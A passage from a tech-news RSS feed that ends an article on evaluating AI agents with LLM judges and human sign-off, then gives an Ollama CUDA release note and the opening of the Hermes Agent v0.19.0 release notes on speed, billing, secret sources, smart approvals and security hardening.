at a time is a mistake</h2><p>Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.</p><p>Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.</p><p>Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.</p><h2>Sizing the judge to the job</h2><p>Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.</p><p>LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.</p><p>Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."</p><h2>LLM-as-judge doesn't mean human-in-the-loop disappears</h2><p>The bigger question is whether using LLM as a judge removes the need for a human in the loop.</p><p>Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.</p><p>"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."</p><p>Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level. </p><p>Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.32.2-rc0: cuda: add CC 10.0 for linux in CUDA v12 (#17025)]]></title>
<description><![CDATA[Add compute capability 10.0 to the Linux CUDA v12 preset so B200-class devices can use the cuda_v12 backend with drivers that do not meet the CUDA v13 minimum.
Fixes #12583]]></description>
<link>https://tsecurity.de/de/3682126/downloads/v0322-rc0-cuda-add-cc-100-for-linux-in-cuda-v12-17025/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682126/downloads/v0322-rc0-cuda-add-cc-100-for-linux-in-cuda-v12-17025/</guid>
<pubDate>Mon, 20 Jul 2026 22:46:55 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Add compute capability 10.0 to the Linux CUDA v12 preset so B200-class devices can use the cuda_v12 backend with drivers that do not meet the CUDA v13 minimum.</p>
<p>Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3506534195" data-permission-text="Title is private" data-url="https://github.com/ollama/ollama/issues/12583" data-hovercard-type="issue" data-hovercard-url="/ollama/ollama/issues/12583/hovercard" href="https://github.com/ollama/ollama/issues/12583">#12583</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
